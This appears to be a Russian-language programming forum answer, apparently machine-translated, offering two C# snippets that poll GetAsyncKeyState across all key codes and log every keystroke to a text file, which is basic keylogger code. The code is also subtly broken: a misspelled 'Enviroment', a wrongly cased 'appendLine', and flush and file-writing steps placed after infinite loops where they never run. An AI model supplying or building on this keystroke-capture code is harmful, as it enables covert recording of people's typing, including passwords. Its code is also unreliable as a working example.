Вы можете использовать код, как показано ниже. у нас должен быть открыт потоковый модуль, а затем внутри l oop, вы можете написать, когда закончите, вы можете flu sh поток и закрыть для сохранения на диск (файл)
Подход-1
using(StreamWriter writer = new StreamWriter(pathTxt)) {
while (true)
{
Thread.Sleep(10);
for (int i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
Console.WriteLine((Keys)i);
string key = Convert.ToString((Keys)i);
writer.WriteLine(key + Enviroment.NewLine);
break;
}
}
}
writer.Flush();
writer.Close();
}
Подход2-Эффективный Наилучшим подходом будет использование StringBuilder
, добавление каждого нажатия клавиши и, наконец, запись в файл.
StringBuilder keyStrokes = new StringBuilder();
while (true)
{
Thread.Sleep(10);
for (int i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
Console.WriteLine((Keys)i);
string key = Convert.ToString((Keys)i);
keyStrokes.appendLine(key);
break;
}
}
}
using(StreamWriter writer = new StreamWriter(pathTxt)) {
writer.WriteLine(keyStrokes);
writer.Flush();
writer.Close();
}